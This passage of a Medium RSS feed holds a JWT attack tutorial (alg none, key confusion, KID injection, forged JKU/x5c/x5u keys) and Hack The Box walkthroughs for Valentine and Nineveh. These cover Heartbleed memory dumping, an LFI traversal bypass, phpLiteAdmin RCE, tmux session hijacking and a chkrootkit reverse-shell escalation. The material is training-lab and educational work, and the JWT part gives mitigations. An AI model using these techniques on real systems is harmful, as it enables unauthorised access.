src="https://cdn-images-1.medium.com/max/1024/1*UO6RN_EkM8wpdv9_yLRQ0g.png" /></figure><p><strong><em>Vulnerabilities:</em></strong></p><p><strong>Weak signing algo(none algorithm):</strong></p><p>The alg claim specifies the type of algorithm that is used to sign the token.</p><p>There are 2 standard algorithms</p><p>HS and RS</p><p>But often the token claim has <strong>none</strong> algorithm.</p><p>In simple meaning the token do not require any signature.That means if we change the payload part there is no mechanism in place to stop us.</p><p>So if the payload has claims like “role”:”user” we can simply change it become admin.</p><p>Lets see a quick demo</p><p>Will Publish Soon</p><p><strong>Vulnerable Code Pattern:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDi03Zrnyt-S8F4b9lPEAw.png" /></figure><p>The above is a vulnerable code written in java</p><p>And the below in python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NLDu1FAcWfsAoPZ1jeY0gQ.png" /></figure><p>Mitigation:</p><p>Always use strong algorithms like HS256 or RS256 or may 512 version.</p><p><strong>Weak Secret:</strong></p><p>This vulnerability is specific to the HS256 algorithm.So if you see RS being used in alg claim you can skip this test.</p><p>HS256 is a symmetric key algorithm.Meaning the same key is used to both encrypt and decrypt.We call it secret.</p><p>So while using this algorithm we should keep in mind that the secret need be long and strong enough.Else it can be either guessed or brute-forced.</p><p>Consider this token.</p><p>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.dQknU80__AHPVDmZPFavWdML1XKrwPLeOXnCmoVY3AY</p><p>The secret of the above token can be easily brute-forced with the jwt_tool or even with hashcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TS1nsx-x8NyyJ3kTCM5s7Q.png" /></figure><p><strong>Mitigation:</strong></p><p>Always use long and strong secrets with HS256.</p><p><strong><em>Key Confusion Attack:</em></strong></p><p>This attack happens in case of RS256 algorithm.</p><p>When the underlying library do not mandate the expected alg type while verifying the signature of the token this kind of vulnerability may arise.The library , upon not specifying an expected alg type fall backs to default alg type</p><p>Let’s say the application has issued a token with “alg”:”RS256&quot;.</p><p>RS256 used private key to sign the token and the public key to verify the token.So to successfully tamper the token the attacker needs to have the private key that is used to sign the token.</p><p>Now let’s say the default alg type is HS256.Now if the developer do not specify an alg type explicitly the application will use HS256 to verify the token.</p><p>Considering HS256 uses the same key to sign and verify if the attacker is able to sign his malicious token with the public key , then the application will simply allow the access to the attacker.</p><p>If the above is confusing take look at the below pictures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p0GWC-uz1WhziWSAzBhg0g.png" /><figcaption>Library that enforces to specify alg while verifying</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SgOIKogtfvO72NPUMjCmMA.png" /><figcaption>Libraries that do not enforce the alg type while verifying</figcaption></figure><p>DEMO:</p><p>Will Publish Soon</p><p><strong>Mitigation:</strong></p><p>Always explicitly set the alg type while verifying the token.</p><p><a href="https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/">Critical vulnerabilities in JSON Web Token libraries</a></p><p><a href="https://www.sourceclear.com/vulnerability-database/security/key-confusion-attacks/python/sid-4916">https://www.sourceclear.com/vulnerability-database/security/key-confusion-attacks/python/sid-4916</a></p><p><a href="https://seclists.org/oss-sec/2021/q3/92">https://seclists.org/oss-sec/2021/q3/92</a></p><p><strong>Exploiting KID Header:</strong></p><p>If we see the picture that bit above in the article the KID header is a key identifier.It helps to identify the right key/secret when we have a bunch of them.Its specially used with JWKS(will discuss what is jwks and how to hack them).</p><p>The below vulnerabilities are possible depending on the way its programmed to be used.</p><ol><li>SQL Injection</li><li>Directory Traversal</li><li>Command Execution</li></ol><p>If the KID header is used to fetch a key from the database then there is chance of sql injection. If the sql queries are not handled properly.</p><p>DEMO:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FIEhdhKKGNKY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DIEhdhKKGNKY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FIEhdhKKGNKY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5c8e0d06ca3d8657f410c582c9f4280a/href">https://medium.com/media/5c8e0d06ca3d8657f410c582c9f4280a/href</a></iframe><p>Vulnerable Code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*hhZ5FY0gJ6e68qvE5ifpwA.png" /></figure><p>Mitigation:</p><p>Sanitise the user input and use prepared statements and parameter bindings.</p><p>Similarly if the key is stored in a file system we can either achieve Directory Traversal or command execution.</p><p>If the os level commands such as cat is used and the input from the header is not being sanitised then this can lead to RCE.</p><p>DEMO:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F1bxtpGtpxRc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D1bxtpGtpxRc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F1bxtpGtpxRc%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c1df879d05acb6d940e8df7075644534/href">https://medium.com/media/c1df879d05acb6d940e8df7075644534/href</a></iframe><p>Vulnerable Code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*GmLHv4suxEEAHDAcl_v0Hg.png" /></figure><p>Mitigation:</p><p>Sanitise the user input and use code level libraries to read the file contents.</p><p>In other case if the input is not being passed to something like cat but even if the libraries are used to read the file content if the user input is not sanitised this can lead to directory traversal and hence we bypass the AuthoriZation</p><p>DEMO:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fi_ndRhhmtsg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Di_ndRhhmtsg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fi_ndRhhmtsg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c7f750da37d7fdd566e4abf511d117da/href">https://medium.com/media/c7f750da37d7fdd566e4abf511d117da/href</a></iframe><p>Vulnerable Code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*z7SXHgvplHd4oXC50omquQ.png" /></figure><p>Mitigation:</p><p>Sanitise the user input for directory traversal.</p><p>The best way to deal with this is to keep the keys inside a vault and in the filesystem or in db.</p><p><strong>Exploiting JKU Header:</strong></p><p>The jku header is used to fetch a jwks file and this file is used to select the correct public key or we can say the correct key identifier and its values that can be usd to build back the public key and verify the token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OfGvQto8LC8kUUF67db2wg.png" /></figure><p>But what is jwks.</p><p>The full form is obviously Json Web Keys 😅 but what this actually is a json file that contains a number for keys or some key value pairs using which we can build the key.</p><p>Here is how a JWKS file looks like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vPJVyc50adXOJHF5GTGSIw.png" /></figure><p>As you can see we can use the n and e to build a rsa public key.</p><p>If you are not familiar with RSA public key and private key check out this article.</p><p><a href="https://sectigostore.com/blog/public-key-vs-private-key-how-do-they-work/">https://sectigostore.com/blog/public-key-vs-private-key-how-do-they-work/</a></p><p>The main reason here for the issue is the application have to decode the token and use it in order to fetch the jwks so that it can build the public key and verify the token.</p><p><strong>So if the application simply trusts the jku with out any validation then this can be abused.</strong></p><p>We can simply host our own JWKS file and point he jku to our server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1h-ylz4cGkEQO8xRSbhSHw.png" /></figure><p><strong>Steps to exploit</strong></p><ol><li>Create your public and private key pair.</li></ol><pre>openssl genrsa -out private.pem 2048</pre><pre>openssl rsa -in private.pem -outform PEM -pubout -out public.pem</pre><p>2.Create your JWK</p><p>You can either use python or this online tool</p><p><a href="https://russelldavies.github.io/jwk-creator/">JWK Creator</a></p><p>Make sure you make your own jwk identical to the jwk used by the target application.Specially the KID part.</p><p>3.host he JWK</p><p>4.Change the payload part and sign it with your private key</p><p>You can use the jwt.io or python as usual to sign the token.</p><p>Note: if the above technique doesn’t work try putting the jwk that you created inside an array shown below.</p><p>{<br>“keys”:[Content_OF_JWK]<br>}</p><p>DEMO:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fm_9ZgcoKGlk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dm_9ZgcoKGlk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fm_9ZgcoKGlk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/60b27b40cd6ce3d8e0319f4f421e776c/href">https://medium.com/media/60b27b40cd6ce3d8e0319f4f421e776c/href</a></iframe><p>Vulnerable Code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R8izGeIRDzOm1hpnvpZSHA.png" /></figure><p>Mitigation:<br>Use a whilteList to check if the jku received from the token is in the allowed list or not.DONOT USE STARTSWITH, INDEXOF OR ENDSWITH FUNCTION WHILE COMPARING WITH THE WHITE LIST.MATCH THE FULL JKU WITH THE ENTITY OF THE ALLOWED LIST.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Brmu5OFImBwl753FF_htIg.png" /></figure><p>We will see later how even using the allowed list may be vulnerable and bypassed.</p><p><strong>Exploiting X5C Header:</strong></p><p>x5c header contains the x509certificate/x509certificate chain that can be used to verify the token.</p><p>Ideally the public key of the certificate is first gets extracted and then used to verify the token.</p><p>This is how an x5c header looks like.But it can also have those — -BEGIN CERTIFICATE — — and end certificate strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*nG8-kWWxha4ckbEzJz7ohg.png" /></figure><p>Now if the application simply trusts the x5c that is there in the token without any validation then this can be abused.</p><p>We can put our own certificate and modify the body as required and we can bypass the Authorization.</p><p>Steps To Exploit:</p><ol><li>Create x509 certificate and extract the public and private key out of them</li></ol><pre>openssl req -x509 -nodes -days -newkey rsa:2048 -keyout attacker.key -out attacker.crt</pre><pre>openssl x509 -pubkey -noout -in attacker.crt &gt; publicKey.pem</pre><p>2.Tamper the token and put your x509 certificate in place of x5c claim.</p><p>3.Modify the token and sign it with the private key.</p><p>You can either use python3 or jwt.io for this.</p><p>DEMO:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FXRktUrjC_NI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DXRktUrjC_NI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FXRktUrjC_NI%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/85008e18b65f95e5acc57dfcbb743c03/href">https://medium.com/media/85008e18b65f95e5acc57dfcbb743c03/href</a></iframe><p>Vulnerable Code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hi87tglMRTiUEdzIafP-dA.png" /></figure><p>Mitigation:</p><p>We should not validate the jwt like this in the first place.But still if we want to then we should use x5u instead of x5c header.x5u is similar to jku .The only difference is the jku holds a JWK and an x5u holds a x5c link.</p><p><strong>Exploiting x5u Header:</strong></p><p>This header works exactly same as the jku.But its used to fetch a x5c certificate from a web server that wil be used to create a pubic key out of them and verify the token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVDazjVGsCJoZ8FxcF-V1g.png" /></figure><p>This is how a token with x5u looks like.</p><p>The issue here is same as JKU.</p><p>If the application simply trusts the x5u without any validation we can abuse this.</p><p>Steps to Exploit:</p><ol><li>Create a certificate and public, private rsa key pair</li></ol><pre>openssl req -x509 -nodes -days -newkey rsa:2048 -keyout attacker.key -out attacker.crt</pre><pre>openssl x509 -pubkey -noout -in attacker.crt &gt; publicKey.pem</pre><p>2.Host the certificate</p><p>3.Tamper the token and sign it with the private key</p><p>You can either use the python3 or jwt.io to do this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*yfYQjS1Dqa_nADtqLzCu6A.png" /></figure><p>DEMO:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FyN4PB-f90Ic%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DyN4PB-f90Ic&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FyN4PB-f90Ic%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d932a717ed03e48f1c9a3c5fc6ae23e9/href">https://medium.com/media/d932a717ed03e48f1c9a3c5fc6ae23e9/href</a></iframe><p>Vulnerable Code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wWyunNZkZ-cE95h8RRTMGA.png" /></figure><p>Mitigation:</p><p>Maintain a whitelist and perform a full match with the elements of the list and the url from token.DO NOT USE STARTSWITH, INDEXOF OR ENDSWITH FUNCTION WHILE COMPARING WITH THE WHITE LIST.MATCH THE FULL JKU WITH THE ENTITY OF THE ALLOWED LIST.</p><p><strong>SOME OTHER IMP BUGS TO CHECK:</strong></p><ol><li>Token having no expiration date.</li></ol><p>If a jwt token do not have any expiration claim set , tis can be vulnerable to replay attack.Meaning if the token got captured once(MITM,Info Disclosure) then it can be used repeatedly.</p><p>Consider the below code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YCtJEW-50urQritb6bdNPg.png" /></figure><p>This code uses HS256 alg and have quite a good secret.How ever this code will produce the token which will not have any expiration date.To fix this we can use exp claim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p1kLSS3nhgq4yaUnRXKjQg.png" /></figure><p>As you can see in the above code the exp claim is set.Now this token wont work once the expiration is over. Obviously we need to check this thing while verifying.</p><p>2.<strong>Cross Service Relay Attack:</strong></p><p>Consider a scenario where there are 3 components.</p><p>Token Service, appliance Management and Life Cycle Management.</p><p>It might happen that the LCM and applmgmt uses token service to issue and verify the jwt token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*mLwBwpbk_m6OryhzXeswFw.png" /></figure><p>Now let’s say the LCM has a user called Robin and the applmgmt allows user registration.</p><p>If the Token service do not put due diligence and the necessary claim wile creating and verifying token it might happen that the attacker can create a user having same username as Robin in the applmgmt — → which will give him a jwt token — — -&gt;and that jwt token when sent to LCM — →LCM will send this to the token service to verify and as the token service is misconfigured it may simply ended up giving access to Robin’s account to the attacker.</p><p>This attack is called cross service relay attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DHbx3ylWcEW9gon3do_gqQ.png" /></figure><p><strong><em>Thanks For reading,<br> Happy Hacking</em></strong></p><p>You can connect with me at</p><p>linkedin:<a href="https://www.linkedin.com/in/swagatkumar/">https://www.linkedin.com/in/swagatkumar/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d29f39e202d5" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/hacking-jwt-d29f39e202d5">Hacking JWT</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Valentine]]></title>
            <link>https://w3bspl01t3r.medium.com/valentine-1b1e356347c9?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b1e356347c9</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb-valentine]]></category>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Mon, 24 Jan 2022 15:44:38 GMT</pubDate>
            <atom:updated>2022-01-24T15:44:38.920Z</atom:updated>
            <content:encoded><![CDATA[<p>This Box requires exploiting a memory corruption bug to gather information that can be used in the further movement to get the initial foothold.And then we need to perform a tmux session hijacking to become GOD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*T3_oV-7avfKcloyccg9NQA.png" /></figure><p><strong><em>Initial Foothold</em></strong></p><p>We started with nmapAutomator for the initial port scan and found few ports open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*USiP0xmjaYc-7vQfdpDROA.png" /></figure><p>As you can see we have 22,80,and 443 port open and the CommonName in the certificate says the hostname to be valentine.htb.so we made the necessary changes in the /etc/hosts file.</p><p>On the http and https port we saw</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0d0pIV4NWqLPeOJ3CdLTjA.png" /></figure><p>And there was not anything else on the web.</p><p>The picture looks like the site is vulnerable to heartbleed vulnerability.</p><p>Also the nse script ran by nmapAutomator shows it to be vulnerable .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*5IUr1nOmK6_DP6Cp1m56qw.png" /></figure><p>Heart-bleed is a memory corruption bug in openSSL using which you can dump the memory.</p><p>So we downloaded the poc and started dumping the memory.</p><p><a href="https://github.com/mpgn/heartbleed-PoC">https://github.com/mpgn/heartbleed-PoC</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*pxCeCSvCS1v2M2Tx9cCxYQ.png" /></figure><p>If you are familiar with base64 encoding we can easily say that the string mentioned on the $text is base64 encoded.So i quickly decoded this got it as <strong><em>heartbleedbelievethehype.</em></strong></p><p>In the meanwhile i also had the FFUF running to identify some hidden directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*oIRbRGCrCNUXxhWwi5qwJw.png" /></figure><p>The most interesting folder is /dev/.Upon browsing to the directory we saw</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*1FQ2d4WcbkFzFpQBWWgjLg.png" /></figure><p>The content of the hype_key is hex encoded value of private key.On converting it back to text we got the private key but its encrypted.</p><p>So we used the below command with the password we got from earlier to decrypt the key.</p><pre><strong><em>openssl rsa -in /path/to/encrypted/key -out /paht/to/decrypted/key</em></strong></pre><p>But it took me some time to figure out the username as we don’t know the username we will not be able to get in even if we have the private key.Though the name of the key is hype but still.</p><p>So once i figured that part out i used the private key and got in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*5pShWY8NNOgM1_q_cKwK4A.png" /></figure><p><strong><em>GOD Access:</em></strong></p><p>Once we got in i quickly uploaded the linpeas , pspsy and the linux exploit suggestor.I generally use the linux exploit suggestor as the last arrow of my arsenal in case of machines in htb but in realife engagement i prefer to use it at the first shot as often the target os will not patched to recent exploits.</p><p>So once i ran the linpeas there are many things that linpeas highlighted as potential privelge escalation vectors but one thing that caught my eye is tmux session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*01FoL8ZzvCQwQ6h3eaOa7g.png" /></figure><p>You can follow the hacktricks to know more about this.</p><p>The way I hijack this session is by the command<strong><em> tmux -S /.devs/dev_sess</em></strong></p><p>and it gave me the god access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/327/1*YQJAhnBC4Xk0F8M7BzxuLg.png" /></figure><p><em>Note:As the machine is pretty old there are obviously other ways like kernel exploit and all that could have given me GOD access directly.</em></p><p><strong><em>Thanks For Reading</em></strong></p><p><strong><em>Happy hacking</em></strong></p><p>You can connect to me at</p><p>linkedin: <a href="https://www.linkedin.com/in/swagatkumar/">https://www.linkedin.com/in/swagatkumar/</a></p><p>References:</p><p><a href="https://heartbleed.com/">Heartbleed Bug</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FSgJm0C6jzbo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DSgJm0C6jzbo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FSgJm0C6jzbo%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f278df3bcc9c84077b2711408ec589a9/href">https://medium.com/media/f278df3bcc9c84077b2711408ec589a9/href</a></iframe><p><a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation">https://book.hacktricks.xyz/linux-unix/privilege-escalation</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b1e356347c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nineveh Hack The Box]]></title>
            <link>https://w3bspl01t3r.medium.com/nineveh-hack-the-box-c07309f9811b?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/c07309f9811b</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Fri, 14 Jan 2022 18:37:35 GMT</pubDate>
            <atom:updated>2022-01-14T19:24:41.220Z</atom:updated>
            <content:encoded><![CDATA[<h3>Nineveh</h3><p>This box needs credential brute forcing ,password guessing and an CVE exploitation to get in and again exploiting an CVE via cronjob to get god access.So lets get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*pG7PnRi1E0aasNq3pZnVVw.png" /></figure><p><strong><em>Initial Foot Hold:</em></strong></p><p>We started with nmapautomator to discover the open ports and map the attack surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*ApFolok8JhpW9_Uhb3-sIQ.png" /></figure><p>As we can see there aren’t many ports open.Only 2 web ports i.e 80 and 443 is open.<br>So we started with port 80.On visiting http://nineveh.htb we got</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*Ak029UHTB-ZfqAJ0-YcmHA.png" /></figure><p>Nothing much.SO we visited the https one and found nothing there as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*47ZPOB28mL82teVzIKC43w.png" /></figure><p>So i started doing directory brute forcing in the hope to find something interesting on http port and sure enough we got a hit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*imixbhUDl-sbGml4qcyjTQ.png" /></figure><p>It has a login panel.We tried common credentials and on the first hit with the username admin we got an error message like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gn-wJPsttr74tjEIlYjkGw.png" /></figure><p>This is username enumeration bug.If there is not rate-limit imposed it can not just be used to enumerate valid users but also can be used to brute force passwords.And that what we did.</p><p>I sent it to intruder and brute forced the password using common-credential file from seclists and sure enough it gave us the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*MS0v7JVIwpp8gm_5ErJDfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jtpK4E3zT62XS7wf9MYo2Q.png" /></figure><p>As we can see in the admin panel there is something called notes and the notes are shown below.What is interesting is the URL.</p><p>As you can see its notes=files/xxxxx.txt.Whenever this kind of url is there the first bug that comes to mind is file inclussion.</p><p>So we tried to include some local files like /etc/passwd but we failed.</p><p>On playing around a little bit it gave us an error like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_elMPr6q5xMF9KCfFGCaQ.png" /></figure><p>So the user input is being passed directly to the include() function in the php.</p><p>The include function is vulnerable to both LFI and RFI.Meaning if we host out own php file and send the url to the notes= we should be able to get a shell.</p><p>But unfortunately this didn’t worked.On playing around a bit longer we figured out that the underlying code needs the keyword ninevehNotes and drops any request that doesn;t contain this word.</p><p>We tried bypassing it by /ninevehNotes/../../../../etc/passwd we got the /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*zaG2qcEhY6RNT9OhsyLJUA.png" /></figure><p>So we noted it and moved to the ssl port.While doing these here we were running ffuf on the https and it gave use somthing called db directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*J5zpAyVLKBRQJkp2cSm_OA.png" /></figure><p>On browsing to this location we got phpliteadmin installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RqHLFBU_UO8sWkNQD_4lGA.png" /></figure><p>We quickly googled for its possible exploit and sure enough we found one.</p><p><a href="https://www.exploit-db.com/exploits/24044">OffSec&#39;s Exploit Database Archive</a></p><p>But the problem is its an authenticated bug.So we still need a valid password to exploit this.So as causally i was testing some weak creds and password123 worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sy0XcluWBTY9GQz-CYA4VA.png" /></figure><p>We followed the exploit to get an rce.But the issues here is the location of the db that is created by us.The exploit says its in the dir where $directory is set in the code and for this scenario its /var/tmp.</p><p>So even we create one we simple can’t call it.</p><p>Here comes our file inclusion bug.</p><p>We created the db as ninevehNotes.php and put our rev shell inside and called it from the http site and boom we got in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*ZLwafdRJ3r5NQPXKwZovag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*zHxeT5rsqdR-bczqen-GLA.png" /></figure><p><strong><em>Lateral Movement:</em></strong></p><p>From the www-data to the user amrois took some time as this was an ctfis box and i wasn’t expecting it.</p><p>So the thing is this box has dir called secure_notes inside /var/www/html/ssl/ and an image inside it has the private key to the user amrois.</p><p>Now from the initial nmap result we dint saw any ssh open but when i looked for the services running inside by netstat -alntu I ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8HT-4cZGJ_kHWdEpMpaItg.png" /></figure><p>So i used this key to get amrois.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*t_aOJuYHg2of5PQ1kmLWaQ.png" /></figure><p>Note:As i solved this box recently and this box is like 4 or 5 years old obviously there are kernel exploits that can give us the root shell directly from www-data.But where is the fun there.</p><p><strong><em>God Access:</em></strong></p><p>So once i got the user i ran linPeas to get some quick priv esc vector but apart from cronjob i dint got anything useful.</p><p>So i used pspy32 to look which program is being ran as cron.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*rEVWhlf_aFMXZjDdN70C0g.png" /></figure><p>As we can see its chkrootkit.</p><p>chkrootkit is a common Unix-based program intended to help system administrators check their system for known rootkits</p><p>So as its a well known binary app i though to do a quick searchsploit on this binary and sure enough we found a bug that can make us GOD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*cdgpcZn-b4T6-CETNcEWtQ.png" /></figure><p><a href="https://www.exploit-db.com/exploits/33899">OffSec&#39;s Exploit Database Archive</a></p><p>Following the exploit we created a non-root owned executable file named update inside /tmp which had a nc reverse shell code and once it got executed by the cronjob we became GOD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*tVPWazskh8enMZD_OCKYNw.png" /></figure><p><strong><em>Thanks For Reading<br>Happy Hacking</em></strong></p><p>You can connect with me on</p><p>linkedin: <a href="https://www.linkedin.com/in/swagatkumar/">https://www.linkedin.com/in/swagatkumar/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c07309f9811b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kotarak]]></title>
            <link>https://w3bspl01t3r.medium.com/kotarak-ed369073d0fc?source=rss-86ff73133e73------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed369073d0fc</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[retired]]></category>
            <dc:creator><![CDATA[Swagat]]></dc:creator>
            <pubDate>Fri, 15 Oct 2021 10:27:42 GMT</pubDate>
            <atom:updated>2021-10-15T10:27:42.744Z</atom:updated>
